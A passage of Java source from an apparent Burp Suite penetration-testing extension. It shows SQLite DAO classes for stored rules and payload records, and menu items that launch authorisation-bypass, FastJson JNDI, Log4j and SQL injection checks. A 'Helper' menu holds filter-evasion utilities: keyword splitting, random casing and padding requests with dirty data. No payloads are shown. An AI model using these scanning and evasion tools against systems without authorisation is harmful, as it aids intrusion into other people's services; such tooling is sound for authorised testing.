? where type = ?"; Connection connection = null; try { connection = DbUtils.getConnection(); } catch (SQLException e) { throw new RuntimeException(e); } PreparedStatement ps = null; try { ps = connection.prepareStatement(sql); ps.setString(1, permBean.getValue()); ps.setString(2, permBean.getType()); ps.executeUpdate(); } catch (Exception e) { e.printStackTrace(); } finally { DbUtils.close(connection, ps, null); } } // 删除 public static void deletePerm(String type){ String sql = "delete from perm where type = ?"; Connection connection = null; try { connection = DbUtils.getConnection(); } catch (SQLException e) { throw new RuntimeException(e); } PreparedStatement ps = null; try { ps = connection.prepareStatement(sql); ps.setString(1, type); ps.executeUpdate(); } catch (Exception e) { e.printStackTrace(); } finally { DbUtils.close(connection, ps, null); } } // 查询一个 public static PermBean getPermListByType(String type) { PermBean permBean = new PermBean(); String routesql = "select * from perm where type = ?"; Connection connection = null; try { connection = DbUtils.getConnection(); } catch (SQLException e) { throw new RuntimeException(e); } PreparedStatement ps = null; ResultSet resultSet = null; try { ps = connection.prepareStatement(routesql); ps.setString(1, type); resultSet = ps.executeQuery(); while (resultSet.next()) { permBean.setId(resultSet.getInt("id")); permBean.setType(resultSet.getString("type")); permBean.setValue(resultSet.getString("value")); } } catch (Exception e) { e.printStackTrace(); } finally { DbUtils.close(connection, ps, null); } return permBean; } // 查询所有 public static List getPermListsByType(String type){ List permBeanLists = new ArrayList<>(); String routesql = "select * from perm where type = ?"; Connection connection = null; try { connection = DbUtils.getConnection(); } catch (SQLException e) { throw new RuntimeException(e); } PreparedStatement ps = null; ResultSet resultSet = null; try { ps = connection.prepareStatement(routesql); ps.setString(1, type); resultSet = ps.executeQuery(); while (resultSet.next()) { PermBean permBean = new PermBean(); permBean.setId(resultSet.getInt("id")); permBean.setType(resultSet.getString("type")); permBean.setValue(resultSet.getString("value")); permBeanLists.add(permBean); } } catch (Exception e) { e.printStackTrace(); } finally { DbUtils.close(connection, ps, null); } return permBeanLists; } } ================================================ FILE: src/main/java/burp/dao/RouteDao.java ================================================ package burp.dao; import burp.bean.RouteBean; import burp.bean.SqlBean; import burp.utils.DbUtils; import burp.utils.Utils; import java.sql.Connection; import java.sql.PreparedStatement; import java.sql.ResultSet; import java.sql.SQLException; import java.util.ArrayList; import java.util.List; public class RouteDao { // 获取所有规则 public static List getRouteLists(){ String sql = "SELECT * FROM route"; Connection connection = null; try { connection = DbUtils.getConnection(); } catch (SQLException e) { throw new RuntimeException(e); } PreparedStatement ps = null; ResultSet rs = null; List routeBeans = new ArrayList<>(); try { ps = connection.prepareStatement(sql); rs = ps.executeQuery(); while (rs.next()){ RouteBean routeBean = new RouteBean(); routeBean.setEnable(rs.getInt("enable")); routeBean.setName(rs.getString("name")); routeBean.setPath(rs.getString("path")); routeBean.setExpress(rs.getString("express")); routeBeans.add(routeBean); } } catch (Exception e) { Utils.stderr.println(e.getMessage()); } finally { DbUtils.close(connection, ps, rs); } return routeBeans; } // 通过id修改规则 public static void updateRouteById(RouteBean routeBean){ String sql = "UPDATE route SET enable = ?, name = ?, path = ?, express = ? WHERE id = ?"; Connection connection = null; try { connection = DbUtils.getConnection(); } catch (SQLException e) { throw new RuntimeException(e); } PreparedStatement ps = null; try { ps = connection.prepareStatement(sql); ps.setInt(1, routeBean.getEnable()); ps.setString(2, routeBean.getName()); ps.setString(3, routeBean.getPath()); ps.setString(4, routeBean.getExpress()); ps.setInt(5, routeBean.getId()); ps.executeUpdate(); } catch (Exception e) { Utils.stderr.println(e.getMessage()); } finally { DbUtils.close(connection, ps, null); } } // 通过id修改enable public static void updateRouteEnable(RouteBean routeBean){ String sql = "UPDATE route SET enable = ? WHERE name = ? and path = ? and express = ?"; Connection connection = null; try { connection = DbUtils.getConnection(); } catch (SQLException e) { throw new RuntimeException(e); } PreparedStatement ps = null; try { ps = connection.prepareStatement(sql); ps.setInt(1, routeBean.getEnable()); ps.setString(2, routeBean.getName()); ps.setString(3, routeBean.getPath()); ps.setString(4, routeBean.getExpress()); ps.executeUpdate(); } catch (Exception e) { Utils.stderr.println(e.getMessage()); } finally { DbUtils.close(connection, ps, null); } } // 删除 public static boolean deleteRoute(RouteBean routeBean){ String sql = "DELETE FROM route WHERE name = ? and path = ? and express = ?"; Connection connection = null; try { connection = DbUtils.getConnection(); } catch (SQLException e) { throw new RuntimeException(e); } PreparedStatement ps = null; try { ps = connection.prepareStatement(sql); ps.setString(1, routeBean.getName()); ps.setString(2, routeBean.getPath()); ps.setString(3, routeBean.getExpress()); ps.executeUpdate(); return true; } catch (Exception e) { Utils.stderr.println(e.getMessage()); return false; } finally { DbUtils.close(connection, ps, null); } } // 添加规则 public static void addRoute(RouteBean routeBean){ String sql = "INSERT INTO route (enable, name, path, express) VALUES (?, ?, ?, ?)"; Connection connection = null; try { connection = DbUtils.getConnection(); } catch (SQLException e) { throw new RuntimeException(e); } PreparedStatement ps = null; try { ps = connection.prepareStatement(sql); ps.setInt(1, routeBean.getEnable()); ps.setString(2, routeBean.getName()); ps.setString(3, routeBean.getPath()); ps.setString(4, routeBean.getExpress()); ps.executeUpdate(); } catch (Exception e) { Utils.stderr.println(e.getMessage()); } finally { DbUtils.close(connection, ps, null); } } } ================================================ FILE: src/main/java/burp/dao/SimilarDomainConfigDao.java ================================================ package burp.dao; import burp.bean.*; import burp.utils.DbUtils; import burp.utils.Utils; import java.sql.Connection; import java.sql.PreparedStatement; import java.sql.ResultSet; import java.sql.SQLException; import java.util.ArrayList; import java.util.List; public class SimilarDomainConfigDao { // 保存域名配置 public static void saveDomainConfig(SimilarDomainConfigBean config) { String sql = "INSERT INTO domain_configs (project_id, domain, create_time) VALUES (?, ?, datetime('now','localtime'))"; Connection connection = null; PreparedStatement ps = null; try { connection = DbUtils.getConnection(); ps = connection.prepareStatement(sql); ps.setInt(1, config.getProjectId()); ps.setString(2, config.getDomain()); ps.executeUpdate(); } catch (Exception e) { Utils.stderr.println(e.getMessage()); } finally { DbUtils.close(connection, ps, null); } } // 批量保存域名配置 public static void saveDomainConfigs(int projectId, List domains) { Connection connection = null; PreparedStatement ps = null; try { connection = DbUtils.getConnection(); connection.setAutoCommit(false); // 先删除旧的配置 String deleteSql = "DELETE FROM domain_configs WHERE project_id = ?"; ps = connection.prepareStatement(deleteSql); ps.setInt(1, projectId); ps.executeUpdate(); // 插入新的配置 String insertSql = "INSERT INTO domain_configs (project_id, domain, create_time) VALUES (?, ?, datetime('now','localtime'))"; ps = connection.prepareStatement(insertSql); for (String domain : domains) { ps.setInt(1, projectId); ps.setString(2, domain.trim()); ps.addBatch(); } ps.executeBatch(); connection.commit(); } catch (Exception e) { Utils.stderr.println(e.getMessage()); try { if (connection != null) { connection.rollback(); } } catch (SQLException ex) { Utils.stderr.println(ex.getMessage()); } } finally { try { if (connection != null) { connection.setAutoCommit(true); } } catch (SQLException e) { Utils.stderr.println(e.getMessage()); } DbUtils.close(connection, ps, null); } } // 获取项目的域名配置 public static List getDomainConfigs(int projectId) { List domains = new ArrayList<>(); String sql = "SELECT domain FROM domain_configs WHERE project_id = ?"; Connection connection = null; PreparedStatement ps = null; ResultSet rs = null; try { connection = DbUtils.getConnection(); ps = connection.prepareStatement(sql); ps.setInt(1, projectId); rs = ps.executeQuery(); while (rs.next()) { domains.add(rs.getString("domain")); } } catch (Exception e) { Utils.stderr.println(e.getMessage()); } finally { DbUtils.close(connection, ps, rs); } return domains; } } ================================================ FILE: src/main/java/burp/dao/SimilarDomainResultDao.java ================================================ package burp.dao; import burp.bean.SimilarDomainResultBean; import burp.utils.DbUtils; import burp.utils.Utils; import java.sql.Connection; import java.sql.PreparedStatement; import java.sql.ResultSet; import java.sql.SQLException; import java.util.ArrayList; import java.util.List; public class SimilarDomainResultDao { // 保存域名结果 public static int saveDomainResult(SimilarDomainResultBean result) { Connection connection = null; PreparedStatement ps = null; ResultSet rs = null; try { connection = DbUtils.getConnection(); // 先检查是否存在相同记录 String checkSql = "SELECT id FROM domain_results WHERE project_id = ? AND domain = ?"; ps = connection.prepareStatement(checkSql); ps.setInt(1, result.getProjectId()); ps.setString(2, result.getDomain()); rs = ps.executeQuery(); if (rs.next()) { // 如果存在,更新IP和时间 int existingId = rs.getInt("id"); DbUtils.close(null, ps, rs); // 关闭旧的PreparedStatement和ResultSet String updateSql = "UPDATE domain_results SET ip = ?, create_time = datetime('now','localtime') WHERE id = ?"; ps = connection.prepareStatement(updateSql); ps.setString(1, result.getIp()); ps.setInt(2, existingId); ps.executeUpdate(); return existingId; } else { // 不存在则插入新记录 DbUtils.close(null, ps, rs); // 关闭旧的PreparedStatement和ResultSet String insertSql = "INSERT INTO domain_results (project_id, domain, ip, create_time) VALUES (?, ?, ?, datetime('now','localtime'))"; // 移除 Statement.RETURN_GENERATED_KEYS ps = connection.prepareStatement(insertSql); ps.setInt(1, result.getProjectId()); ps.setString(2, result.getDomain()); ps.setString(3, result.getIp()); ps.executeUpdate(); // 使用 last_insert_rowid() 获取最后插入的ID ps = connection.prepareStatement("SELECT last_insert_rowid()"); rs = ps.executeQuery(); if (rs.next()) { return rs.getInt(1); } } return -1; } catch (SQLException e) { return -1; } catch (Exception e) { return -1; } finally { DbUtils.close(connection, ps, rs); } } // 获取项目的域名结果 public static List getDomainResults(int projectId) throws SQLException { List results = new ArrayList<>(); String sql = "SELECT id, project_id, domain, ip, create_time FROM domain_results WHERE project_id = ?"; Connection connection = null; PreparedStatement ps = null; ResultSet rs = null; try { connection = DbUtils.getConnection(); ps = connection.prepareStatement(sql); ps.setInt(1, projectId); rs = ps.executeQuery(); while (rs.next()) { SimilarDomainResultBean bean = new SimilarDomainResultBean( rs.getInt("project_id"), rs.getString("domain"), rs.getString("ip") ); bean.setId(rs.getInt("id")); bean.setCreateTime(rs.getString("create_time")); results.add(bean); } return results; } finally { DbUtils.close(connection, ps, rs); } } public static boolean isDomainExists(int id, String domain) { String sql = "SELECT id FROM domain_results WHERE id = ? AND domain = ?"; try { Connection connection = DbUtils.getConnection(); PreparedStatement ps = connection.prepareStatement(sql); ps.setInt(1, id); ps.setString(2, domain); ResultSet rs = ps.executeQuery(); if (rs.next()) { return true; } } catch (SQLException e) { e.printStackTrace(); } return false; } public static void updateDomainResult(SimilarDomainResultBean result) { Connection connection = null; PreparedStatement ps = null; try { connection = DbUtils.getConnection(); // 更新域名记录信息,包括IP和更新时间 String sql = "UPDATE similar_domain_results SET ip = ?, update_time = datetime('now','localtime') WHERE id = ?"; ps = connection.prepareStatement(sql); ps.setString(1, result.getIp()); ps.setInt(2, result.getId()); int updatedRows = ps.executeUpdate(); if (updatedRows == 0) { Utils.stderr.println("更新域名结果失败: 记录不存在 (ID: " + result.getId() + ")"); } } catch (Exception e) { Utils.stderr.println("更新域名结果失败: " + e.getMessage()); } finally { DbUtils.close(connection, ps, null); } } } ================================================ FILE: src/main/java/burp/dao/SimilarProjectDao.java ================================================ package burp.dao; import burp.bean.*; import burp.utils.DbUtils; import burp.utils.Utils; import java.sql.Connection; import java.sql.PreparedStatement; import java.sql.ResultSet; import java.util.ArrayList; import java.util.List; public class SimilarProjectDao { // 保存项目 public static void saveProject(SimilarProjectBean project) { String sql = "INSERT INTO projects (name, create_time) VALUES (?, datetime('now','localtime'))"; Connection connection = null; PreparedStatement ps = null; try { connection = DbUtils.getConnection(); ps = connection.prepareStatement(sql); ps.setString(1, project.getName()); ps.executeUpdate(); } catch (Exception e) { Utils.stderr.println(e.getMessage()); } finally { DbUtils.close(connection, ps, null); } } // 获取所有项目 public static List getAllProjects() { List projects = new ArrayList<>(); String sql = "SELECT * FROM projects ORDER BY create_time DESC"; Connection connection = null; PreparedStatement ps = null; ResultSet rs = null; try { connection = DbUtils.getConnection(); ps = connection.prepareStatement(sql); rs = ps.executeQuery(); while (rs.next()) { SimilarProjectBean project = new SimilarProjectBean(); project.setId(rs.getInt("id")); project.setName(rs.getString("name")); project.setCreateTime(rs.getString("create_time")); projects.add(project); } } catch (Exception e) { Utils.stderr.println(e.getMessage()); } finally { DbUtils.close(connection, ps, rs); } return projects; } // 删除项目 public static void deleteProject(int projectId) { String sql = "DELETE FROM projects WHERE id = ?"; Connection connection = null; PreparedStatement ps = null; try { connection = DbUtils.getConnection(); ps = connection.prepareStatement(sql); ps.setInt(1, projectId); ps.executeUpdate(); } catch (Exception e) { Utils.stderr.println(e.getMessage()); } finally { DbUtils.close(connection, ps, null); } } } ================================================ FILE: src/main/java/burp/dao/SimilarUrlResultDao.java ================================================ package burp.dao; import burp.bean.SimilarUrlResultBean; import burp.utils.DbUtils; import burp.utils.Utils; import java.sql.Connection; import java.sql.PreparedStatement; import java.sql.ResultSet; import java.sql.Statement; import java.util.ArrayList; import java.util.List; public class SimilarUrlResultDao { // 保存URL结果 public static int saveUrlResult(SimilarUrlResultBean result) { Connection connection = null; PreparedStatement ps = null; ResultSet rs = null; try { connection = DbUtils.getConnection(); // 先检查是否存在相同记录 String checkSql = "SELECT id FROM url_results WHERE project_id = ? AND url = ?"; ps = connection.prepareStatement(checkSql); ps.setInt(1, result.getProjectId()); ps.setString(2, result.getUrl()); rs = ps.executeQuery(); if (rs.next()) { // 如果存在,更新时间 int existingId = rs.getInt("id"); DbUtils.close(null, ps, rs); // 关闭旧的PreparedStatement和ResultSet String updateSql = "UPDATE url_results SET create_time = datetime('now','localtime') WHERE id = ?"; ps = connection.prepareStatement(updateSql); ps.setInt(1, existingId); ps.executeUpdate(); return existingId; } else { // 不存在则插入新记录 DbUtils.close(null, ps, rs); // 关闭旧的PreparedStatement和ResultSet String insertSql = "INSERT INTO url_results (project_id, url, create_time) VALUES (?, ?, datetime('now','localtime'))"; ps = connection.prepareStatement(insertSql, Statement.RETURN_GENERATED_KEYS); ps.setInt(1, result.getProjectId()); ps.setString(2, result.getUrl()); ps.executeUpdate(); // 获取新插入记录的ID rs = ps.getGeneratedKeys(); if (rs.next()) { return rs.getInt(1); } } return -1; } catch (Exception e) { Utils.stderr.println(e.getMessage()); return -1; } finally { DbUtils.close(connection, ps, rs); } } // 获取项目的URL结果 public static List getUrlResults(int projectId) { Connection connection = null; PreparedStatement ps = null; ResultSet rs = null; List results = new ArrayList<>(); try { connection = DbUtils.getConnection(); // 按创建时间降序排列,获取最新的记录 String sql = "SELECT id, project_id, url, create_time FROM url_results WHERE project_id = ? ORDER BY create_time DESC"; ps = connection.prepareStatement(sql); ps.setInt(1, projectId); rs = ps.executeQuery(); while (rs.next()) { SimilarUrlResultBean result = new SimilarUrlResultBean(); result.setId(rs.getInt("id")); result.setProjectId(rs.getInt("project_id")); result.setUrl(rs.getString("url")); result.setCreateTime(rs.getString("create_time")); results.add(result); } return results; } catch (Exception e) { Utils.stderr.println("获取URL结果失败: " + e.getMessage()); return null; } finally { DbUtils.close(connection, ps, rs); } } // 检查URL是否存在 public static boolean isUrlExists(int projectId, String url) { Connection connection = null; PreparedStatement ps = null; ResultSet rs = null; try { connection = DbUtils.getConnection(); // 查询是否存在相同URL记录 String sql = "SELECT COUNT(*) as count FROM url_results WHERE project_id = ? AND url = ?"; ps = connection.prepareStatement(sql); ps.setInt(1, projectId); ps.setString(2, url); rs = ps.executeQuery(); if (rs.next()) { return rs.getInt("count") > 0; } return false; } catch (Exception e) { Utils.stderr.println("检查URL是否存在失败: " + e.getMessage()); return false; } finally { DbUtils.close(connection, ps, rs); } } } ================================================ FILE: src/main/java/burp/dao/SqlDao.java ================================================ package burp.dao; import burp.bean.SqlBean; import burp.utils.DbUtils; import burp.utils.Utils; import java.sql.Connection; import java.sql.PreparedStatement; import java.sql.ResultSet; import java.sql.SQLException; import java.util.ArrayList; import java.util.List; public class SqlDao { // 保存 public static void saveSql(SqlBean sqlBean){ String sql = "INSERT OR REPLACE INTO sqli (type, value) VALUES (?, ?)"; Connection connection = null; try { connection = DbUtils.getConnection(); } catch (SQLException e) { throw new RuntimeException(e); } PreparedStatement ps = null; try { ps = connection.prepareStatement(sql); ps.setString(1, sqlBean.getType()); ps.setString(2, sqlBean.getValue()); ps.executeUpdate(); } catch (Exception e) { Utils.stderr.println(e.getMessage()); } finally { DbUtils.close(connection, ps, null); } } // 更新 public static void updateSql(SqlBean sqlBean){ String sql = "update sqli set value = ? where type = ?"; Connection connection = null; try { connection = DbUtils.getConnection(); } catch (SQLException e) { throw new RuntimeException(e); } PreparedStatement ps = null; try { ps = connection.prepareStatement(sql); ps.setString(1, sqlBean.getValue()); ps.setString(2, sqlBean.getType()); ps.executeUpdate(); } catch (Exception e) { e.printStackTrace(); } finally { DbUtils.close(connection, ps, null); } } // 根据type获取多个 public static List getSqlListsByType(String type){ List sqlLists = new ArrayList<>(); String routesql = "select * from sqli where type = ?"; Connection connection = null; try { connection = DbUtils.getConnection(); } catch (SQLException e) { throw new RuntimeException(e); } PreparedStatement ps = null; ResultSet resultSet = null; try { ps = connection.prepareStatement(routesql); ps.setString(1, type); resultSet = ps.executeQuery(); while (resultSet.next()) { SqlBean sqlBean = new SqlBean(); sqlBean.setId(resultSet.getInt("id")); sqlBean.setType(resultSet.getString("type")); sqlBean.setValue(resultSet.getString("value")); sqlLists.add(sqlBean); } } catch (Exception e) { Utils.stderr.println(e.getMessage()); } finally { DbUtils.close(connection, ps, resultSet); } return sqlLists; } // 根据type获取一个 public static SqlBean getSqlListByType(String type){ String routesql = "select * from sqli where type = ?"; Connection connection = null; try { connection = DbUtils.getConnection(); } catch (SQLException e) { throw new RuntimeException(e); } PreparedStatement ps = null; ResultSet resultSet = null; try { ps = connection.prepareStatement(routesql); ps.setString(1, type); resultSet = ps.executeQuery(); while (resultSet.next()) { SqlBean sqlBean = new SqlBean(); sqlBean.setId(resultSet.getInt("id")); sqlBean.setType(resultSet.getString("type")); sqlBean.setValue(resultSet.getString("value")); return sqlBean; } } catch (Exception e) { Utils.stderr.println(e.getMessage()); } finally { DbUtils.close(connection, ps, resultSet); } return null; } // 根据type删除 public static void deleteSqlByType(String type){ String sql = "delete from sqli where type = ?"; Connection connection = null; try { connection = DbUtils.getConnection(); } catch (SQLException e) { throw new RuntimeException(e); } PreparedStatement ps = null; try { ps = connection.prepareStatement(sql); ps.setString(1, type); ps.executeUpdate(); } catch (Exception e) { e.printStackTrace(); } finally { DbUtils.close(connection, ps, null); } } // 根据type和value删除 public static void deleteSqlByTypeAndValue(String type, String value){ String sql = "delete from sqli where type = ? and value = ?"; Connection connection = null; try { connection = DbUtils.getConnection(); } catch (SQLException e) { throw new RuntimeException(e); } PreparedStatement ps = null; try { ps = connection.prepareStatement(sql); ps.setString(1, type); ps.setString(2, value); ps.executeUpdate(); } catch (Exception e) { e.printStackTrace(); } } } ================================================ FILE: src/main/java/burp/menu/AuthMenu.java ================================================ package burp.menu; import burp.IHttpRequestResponse; import burp.ui.AuthUI; import javax.swing.*; import java.awt.event.ActionListener; public class AuthMenu extends JMenuItem { public AuthMenu(IHttpRequestResponse[] requestResponses) { this.setText("^_^ AuthBypass Check"); this.addActionListener(new ActionListener() { public void actionPerformed(java.awt.event.ActionEvent evt) { Thread thread = new Thread(new Runnable() { @Override public void run() { AuthUI.Check(requestResponses); } }); thread.start(); } }); } } ================================================ FILE: src/main/java/burp/menu/FastjsonMenu.java ================================================ package burp.menu; import burp.IHttpRequestResponse; import burp.ui.FastjsonUI; import javax.swing.*; import java.awt.event.ActionListener; public class FastjsonMenu extends JMenuItem { public JMenuItem FastjsonDnslogMenu(IHttpRequestResponse[] responses) { this.setText("^_^ FastJson Dnslog Check"); this.addActionListener(new ActionListener() { public void actionPerformed(java.awt.event.ActionEvent evt) { Thread thread = new Thread(new Runnable() { @Override public void run() { new FastjsonUI().CheckDnslog(responses); } }); thread.start(); } }); return this; } public JMenuItem FastjsonEchoMenu(IHttpRequestResponse[] responses) { this.setText("^_^ FastJson Echo Check"); this.addActionListener(new ActionListener() { public void actionPerformed(java.awt.event.ActionEvent evt) { Thread thread = new Thread(new Runnable() { @Override public void run() { new FastjsonUI().CheckEchoVul(responses); } }); thread.start(); } }); return this; } public JMenuItem FastjsonJNDIMenu(IHttpRequestResponse[] responses) { this.setText("^_^ FastJson JNDI Check"); this.addActionListener(new ActionListener() { public void actionPerformed(java.awt.event.ActionEvent evt) { Thread thread = new Thread(new Runnable() { @Override public void run() { new FastjsonUI().CheckJNDIVul(responses); } }); thread.start(); } }); return this; } public JMenuItem FastjsonVersionMenu(IHttpRequestResponse[] responses) { this.setText("^_^ FastJson Version Check"); this.addActionListener(new ActionListener() { public void actionPerformed(java.awt.event.ActionEvent evt) { Thread thread = new Thread(new Runnable() { @Override public void run() { new FastjsonUI().CheckVersion(responses); } }); thread.start(); } }); return this; } } ================================================ FILE: src/main/java/burp/menu/Log4jMenu.java ================================================ package burp.menu; import burp.IHttpRequestResponse; import burp.ui.Log4jUI; import javax.swing.*; import java.awt.event.ActionListener; public class Log4jMenu extends JMenuItem { public Log4jMenu(IHttpRequestResponse[] requestResponses) { this.setText("^_^ Log4j Check"); this.addActionListener(new ActionListener() { public void actionPerformed(java.awt.event.ActionEvent evt) { Thread thread = new Thread(new Runnable() { @Override public void run() { Log4jUI.Check(requestResponses,true); } }); thread.start(); } }); } } ================================================ FILE: src/main/java/burp/menu/NucleiMenu.java ================================================ package burp.menu; import burp.IHttpRequestResponse; import burp.utils.Nuclei; import javax.swing.*; import java.awt.event.ActionListener; public class NucleiMenu extends JMenuItem { public NucleiMenu(IHttpRequestResponse[] requestResponses) { this.setText("^_^ Nuclei Template"); this.addActionListener(new ActionListener() { public void actionPerformed(java.awt.event.ActionEvent evt) { Thread thread = new Thread(new Runnable() { @Override public void run() { Nuclei.Generate(requestResponses); } }); thread.start(); } }); } } ================================================ FILE: src/main/java/burp/menu/PermMenu.java ================================================ package burp.menu; import burp.IHttpRequestResponse; import burp.ui.PermUI; import javax.swing.*; import java.awt.event.ActionListener; public class PermMenu extends JMenuItem { public PermMenu(IHttpRequestResponse[] requestResponses) { this.setText("^_^ Perm Check"); this.addActionListener(new ActionListener() { public void actionPerformed(java.awt.event.ActionEvent evt) { Thread thread = new Thread(new Runnable() { @Override public void run() { PermUI.Check(requestResponses,true); } }); thread.start(); } }); } } ================================================ FILE: src/main/java/burp/menu/RouteMenu.java ================================================ package burp.menu; import burp.IHttpRequestResponse; import burp.ui.AuthUI; import burp.ui.RouteUI; import javax.swing.*; import java.awt.event.ActionListener; public class RouteMenu extends JMenuItem { public RouteMenu(IHttpRequestResponse[] requestResponses) { this.setText("^_^ Route Check"); this.addActionListener(new ActionListener() { public void actionPerformed(java.awt.event.ActionEvent evt) { Thread thread = new Thread(new Runnable() { @Override public void run() { RouteUI.Check(requestResponses,true); } }); thread.start(); } }); } } ================================================ FILE: src/main/java/burp/menu/SqlMenu.java ================================================ package burp.menu; import burp.IHttpRequestResponse; import burp.ui.SqlUI; import javax.swing.*; import java.awt.event.ActionListener; public class SqlMenu extends JMenuItem { public SqlMenu(IHttpRequestResponse[] requestResponses) { this.setText("^_^ Sql Check"); this.addActionListener(new ActionListener() { public void actionPerformed(java.awt.event.ActionEvent evt) { Thread thread = new Thread(new Runnable() { @Override public void run() { SqlUI.Check(requestResponses,true); } }); thread.start(); } }); } } ================================================ FILE: src/main/java/burp/menu/TextProcessMenu.java ================================================ package burp.menu; import burp.IContextMenuInvocation; import burp.utils.Utils; import javax.swing.*; import java.awt.*; import java.awt.datatransfer.Clipboard; import java.awt.datatransfer.StringSelection; import java.net.URLDecoder; import java.nio.charset.StandardCharsets; import java.security.SecureRandom; import java.util.Random; import java.util.stream.Collectors; import java.util.stream.IntStream; /** * 文本处理菜单 * 提供各种文本转换功能 */ public class TextProcessMenu extends JMenu { private final IContextMenuInvocation invocation; private final Random random = new Random(); private final SecureRandom secureRandom = new SecureRandom(); public TextProcessMenu(IContextMenuInvocation invocation) { super("Helper"); this.invocation = invocation; initMenu(); } /** * 初始化菜单项 */ private void initMenu() { // Unicode解码菜单项 JMenuItem unicodeDecode = new JMenuItem("Unicode Decode"); unicodeDecode.addActionListener(e -> processSelectedText(this::unicodeDecode)); // URL解码菜单项 JMenuItem urlDecode = new JMenuItem("URL Decode"); urlDecode.addActionListener(e -> processSelectedText(this::urlDecode)); // 关键字拆分菜单项 JMenuItem splitKeyword = new JMenuItem("Split Keyword"); splitKeyword.addActionListener(e -> processSelectedText(this::splitKeyword)); // 随机大小写菜单项 JMenuItem randomCase = new JMenuItem("Random Case"); randomCase.addActionListener(e -> processSelectedText(this::randomCase)); // 添加生成脏数据菜单项 JMenuItem dirtyData = new JMenuItem("Generate Dirty Data"); dirtyData.addActionListener(e -> dirtyGetRandomString()); // 添加Base64数据标签菜单项 JMenuItem base64Tag = new JMenuItem("Insert Base64 Tag"); base64Tag.addActionListener(e -> checkBase64Data()); add(unicodeDecode); add(urlDecode); add(splitKeyword); add(randomCase); add(dirtyData); add(base64Tag); } /** * 处理选中的文本 */ private void processSelectedText(TextProcessor processor) { try { // 检查消息选择 if (invocation.getSelectedMessages() == null || invocation.getSelectedMessages().length == 0) { JOptionPane.showMessageDialog(null, "No message selected!"); return; } // 获取选择范围 int[] bounds = invocation.getSelectionBounds(); if (bounds == null || bounds[0] == bounds[1]) { JOptionPane.showMessageDialog(null, "Please select text first!"); return; } // 获取当前选中的文本所在的字节数据 byte[] contextBytes; int context = invocation.getInvocationContext(); if (context == IContextMenuInvocation.CONTEXT_MESSAGE_EDITOR_REQUEST || context == IContextMenuInvocation.CONTEXT_MESSAGE_VIEWER_REQUEST) { contextBytes = invocation.getSelectedMessages()[0].getRequest(); } else { contextBytes = invocation.getSelectedMessages()[0].getResponse(); } if (contextBytes == null) { JOptionPane.showMessageDialog(null, "No content available!"); return; } // 提取选中的文本部分 String fullText = new String(contextBytes); String selected = fullText.substring(bounds[0], bounds[1]); // 处理选中的文本 String processed = processor.process(selected); // 在弹窗中显示结果 showProcessedResult(processed); } catch (Exception ex) { Utils.stderr.println("Error processing text: " + ex.getMessage()); JOptionPane.showMessageDialog(null, "Error: " + ex.getMessage()); } } private void showProcessedResult(String result) { // 创建一个可复制的文本区域 JTextArea textArea = new JTextArea(result); textArea.setEditable(false); textArea.setWrapStyleWord(true); textArea.setLineWrap(true); // 创建滚动面板 JScrollPane scrollPane = new JScrollPane(textArea); scrollPane.setPreferredSize(new Dimension(400, 300)); // 创建复制按钮 JButton copyButton = new JButton("复制到剪贴板"); copyButton.addActionListener(e -> { StringSelection stringSelection = new StringSelection(result); Clipboard clipboard = Toolkit.getDefaultToolkit().getSystemClipboard(); clipboard.setContents(stringSelection, null); JOptionPane.showMessageDialog(null, "复制到粘贴板!", "Success", JOptionPane.INFORMATION_MESSAGE); }); // 创建包含文本区域和按钮的面板 JPanel panel = new JPanel(new BorderLayout()); panel.add(scrollPane, BorderLayout.CENTER); panel.add(copyButton, BorderLayout.SOUTH); // 显示对话框 JOptionPane.showMessageDialog( null, panel, "Process Result", JOptionPane.INFORMATION_MESSAGE ); } /** * URL解码并在弹出框中显示结果 */ private String urlDecode(String text) { try { // URL解码,使用UTF-8编码支持中文 return URLDecoder.decode(text, StandardCharsets.UTF_8.name()); } catch (Exception e) { Utils.stderr.println("Error decoding URL: " + e.getMessage()); JOptionPane.showMessageDialog(null, "Error decoding URL: " + e.getMessage()); return text; } } /** * Unicode解码并在弹出框中显示结果 */ private String unicodeDecode(String text) { StringBuilder result = new StringBuilder(); int i = 0; while (i < text.length()) { if (text.startsWith("\\u", i) && i + 6 <= text.length()) { String hex = text.substring(i + 2, i + 6); try { result.append((char) Integer.parseInt(hex, 16)); i += 6; continue; } catch (NumberFormatException ignored) { } } result.append(text.charAt(i)); i++; } return result.toString(); } /** * 关键字拆分 */ private String splitKeyword(String text) { StringBuilder result = new StringBuilder(); int chunkSize = 2; // 每段的默认长度 for (int i = 0; i < text.length(); i += chunkSize) { if (i > 0) { result.append("+"); } int end = Math.min(i + chunkSize, text.length()); String chunk = text.substring(i, end); result.append("'").append(chunk).append("'"); } return result.toString(); } /** * 随机大小写转换 */ private String randomCase(String text) { return IntStream.range(0, text.length()) .mapToObj(i -> { char c = text.charAt(i); return random.nextBoolean() ? Character.toUpperCase(c) : Character.toLowerCase(c); }) .map(String::valueOf) .collect(Collectors.joining()); } /** * 生成指定数量的随机字符 */ private String getRandomString(int number) { StringBuilder str = new StringBuilder("0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"); StringBuilder result = new StringBuilder(); for (int i = 0; i < number; i++) { int index = secureRandom.nextInt(str.length()); result.append(str.charAt(index)); } return result.toString(); } /** * 弹窗获取用户输入并生成脏数据 */ private void dirtyGetRandomString() { String s = JOptionPane.showInputDialog("Please Input Data Size(n*kb): "); if (s != null && !s.trim().isEmpty()) { try { int size = Integer.parseInt(s); String dirtyData = getRandomString(size * 1024); StringSelection stringSelection = new StringSelection(dirtyData); Clipboard clipboard = Toolkit.getDefaultToolkit().getSystemClipboard(); clipboard.setContents(stringSelection, null); JOptionPane.showMessageDialog(null, "请在需要的位置粘贴", "Tips", JOptionPane.INFORMATION_MESSAGE); } catch (NumberFormatException ex) { JOptionPane.showMessageDialog(null, "Please input a valid number", "Error", JOptionPane.ERROR_MESSAGE); } } else { JOptionPane.showMessageDialog(null, "Please Input Data Size", "Tips", JOptionPane.INFORMATION_MESSAGE); } } /** * 插入Base64数据标签 */ private void checkBase64Data() { StringSelection stringSelection = new StringSelection(""); Clipboard clipboard = Toolkit.getDefaultToolkit().getSystemClipboard(); clipboard.setContents(stringSelection, null); JOptionPane.showMessageDialog(null, "请在需要的位置粘贴", "Tips", JOptionPane.INFORMATION_MESSAGE); } /** * 文本处理接口 */ @FunctionalInterface private interface TextProcessor { String process(String text); } } ================================================ FILE: src/main/java/burp/ui/AuthUI.java ================================================ package burp.ui; import burp.*; import burp.bean.AuthBean; import burp.utils.I18nUtils; import burp.utils.Utils; import 